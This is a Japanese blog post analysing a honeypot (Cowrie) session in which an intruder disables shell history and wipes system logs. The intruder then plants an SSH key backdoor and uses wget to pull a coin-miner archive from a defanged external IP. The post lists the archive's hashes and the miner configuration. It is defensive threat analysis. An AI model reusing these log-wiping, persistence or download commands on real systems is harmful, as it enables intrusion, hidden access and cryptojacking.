背景
Cowrie が拾ったコマンドのログを確認していたところ、 人がログインして入力していると思われるログでを見つけたので少し調べてみた。
ttyログ と playlog について
Cowrie はログインしてきたユーザが打ち込んだコマンドをそのまま再現するためのログを log/tty 配下に記録している。 このログを playlog に読み込ませると、打ち込んだ速度のまま再現(といより再生)される。 本当に生々しく再生されるので、うまく再生されるログを見つけるとちょっと楽しい。
なお、T-Pot にはデフォルトでは plyalog が含まれていないようなので、 本家のgithub(playlog)から取得してコンパイルする必要がある。 使い方は以下の通り。読み込ませたいファイルを引数として与えるだけ。
$ playlog yyyymmdd-HHMMSS-xxxxxxxxxxxx-xx.log
空のログ「-None-」
tty 配下には多数のログファイルがあるが、ファイル名に「-None-」と付くものは中身が空の様子。 「-None-」が含まれていないファイルのみを調べれるのが良さそう。 今回は空ファイルが沢山あって見づらかったので "rm *-None-*" で一掃した。
実際に記録されていたコマンド
今回見つけたログを再生した結果は以下の通り(一部加工)。
<<censored>>
root@hostname:~# ls -a
. .. .aptitude .bash_history .bashrc
.profile .ssh .vimrc
root@hostname:~# set +o history
root@hostname:~#
root@hostname:~# unset HISTFILE ; unset HISTSAVE ; unset SAVEFILE ; unset WATCH ; history -n
1 ls -a
2 set +o history
3 unset HISTFILE ; unset HISTSAVE ; unset SAVEFILE ; unset WATCH ; history -n
<<censored>>
root@hostname:~#
root@hostname:~# rm -rf /var/log/wtmp ;rm -rf /var/log/lastlog ;rm -rf /var/log/secure ;echo done...;rm -rf /var/log/xferlog ;rm -rf /var/log/messages ;rm -rf /var/run/utmp ;touch /var/run/utmp ;touch /var/log/messages ;touch /var/log/wtmp ;touch /var/log/messages ;touch /var/log/xferlog ;touch /var/log/secure ;touch /var/log/lastlog ;rm -rf /var/log/maillog ;touch /var/log/maillog ;rm -rf /root/.bash_history ;touch /root/.bash_history ;history -r ;rm -rf *.log
done...
1 ls -a
2 set +o history
3 unset HISTFILE ; unset HISTSAVE ; unset SAVEFILE ; unset WATCH ; history -n
<<censored>>
11 rm -rf /var/log/wtmp ;rm -rf /var/log/lastlog ;rm -rf /var/log/secure ;echo done...;rm -rf /var/log/xferlog ;rm -rf /var/log/messages ;rm -rf /var/run/utmp ;touch /var/run/utmp ;touch /var/log/messages ;touch /var/log/wtmp ;touch /var/log/messages ;touch /var/log/xferlog ;touch /var/log/secure ;touch /var/log/lastlog ;rm -rf /var/log/maillog ;touch /var/log/maillog ;rm -rf /root/.bash_history ;touch /root/.bash_history ;history -r ;rm -rf *.log
root@hostname:~#
root@hostname:~# cat /proc/cpuinfo
<<censored>>
root@hostname:~#
root@hostname:~# ps x|grep stratum
root@hostname:~#
root@hostname:~# lscpu
<<censored>>
root@hostname:~#
root@hostname:~# rm -rf .ssh
root@hostname:~#
root@hostname:~# mkdir .ssh
root@hostname:~#
root@hostname:~# cd .ssh
root@hostname:~/.ssh#
root@hostname:~/.ssh# echo "ssh-rsa AAAAB3Nza<<censored>>BwU2stgdDw== rsa-key-20131125" >> authorized_keys ; chmod 700 ~/.ssh;chmod 600 ~/.ssh/authorized_keys
<<censored>>
root@hostname:~/.ssh# cd /
root@hostname:/# w
<<censored>>
root@hostname:/# wget hxxp://213.32.67[.]111/phpmyadmin/js/tmpa1.tgz
--2018-09-04 16:24:09-- hxxp://213.32.67[.]111/phpmyadmin/js/tmpa1.tgz
Connecting to 213.32.67[.]111:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1574637 (1M) [application/x-gzip]
Saving to: `/tmpa1.tgz'
100%[======================================>] 1,574,637 418K/s eta 2s
2018-09-04 16:24:11 (418 KB/s) - `/tmpa1.tgz' saved [1574637/1574637]
root@hostname:/# tar xvf tmpa1.tgz
.tmp
.tmp/system.64
^C
root@hostname:/# rm -rf tmpa1.tgz
root@hostname:/# halt
Try `shutdown --help' for more information.
root@hostname:/# reboot
Broadcast message from root@hostname (pts/0) (Tue Sep 4 16:25:33 2018):
The system is going down for reboot NOW!
人が入力している速度だったのは冒頭の "ls -a" と最後の方の "cd /" 以降の部分。 間のコマンドは何かを貼り付けた感じの速度だった。 "tar xvf tmpa1.tgz" を Ctrl+C で止めているのも人間っぽさを感じる。
wget されたファイル(tmpa1.tgz)について
tmpa1.tgz の中身はコインマイナー関連の実行ファイルとコンフィグなど。
$ md5sum * 00bc1a2039da51f88fb4d41ae612b854 tmpa1.tgz 1d5b979cdb09ba98f77ec923266529ee config.json 0d01bd11d1d3e7676613aacb109de55f system.32 c644c04bce21dacdeb1e6c14c081e359 system.64 6d6caf5494146d5ae2e5309c376062e2 system.sh 81380e3c36b1bbd966d6d3ab47457d18 system-start-run-restart 8b1af0f1daa0008baf4675c700b51e3a system.usermn
$ file * config.json: ASCII text system.32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.2.5, not stripped system.64: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=af15e687430f6815b4c640f231af2bde66cc6454, not stripped system.sh: Bourne-Again shell script, ASCII text executable system-start-run-restart: POSIX shell script, ASCII text executable system.usermn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
config.json の中身。
$ cat config.json
{
"algo": "cryptonight",
"background": false,
"colors": true,
"retries": 5,
"retry-pause": 5,
"donate-level": 1,
"syslog": false,
"log-file": null,
"print-time": 60,
"av": 0,
"safe": false,
"max-cpu-usage": 75,
"cpu-priority": null,
"threads": null,
"pools": [
{
"url": "45.77.123[.]191:3333",
"user": "44WFxmt1GfBL<<censored>>VGrwBL9cruD",
"pass": "a1",
"keepalive": true,
"nicehash": false,
"variant": -1
}
],
"api": {
"port": 0,
"access-token": null,
"worker-id": null
}
}
感想
普段はあまり ttyログ まで確認していないので、人間が打ち込んでいるっぽいログが再生できた時点でほぼほぼ満足して他の調査はおざなりに。。。 Cowrie が出力するバナーや /proc/cpuinfo や uname についてはデフォルトから変更しているので、 もしそのあたりの変更のおかげで来てくれたのなら嬉しいところ。
更新履歴
- 2018/09/08 新規作成
- 2020/03/19 表記を一部修正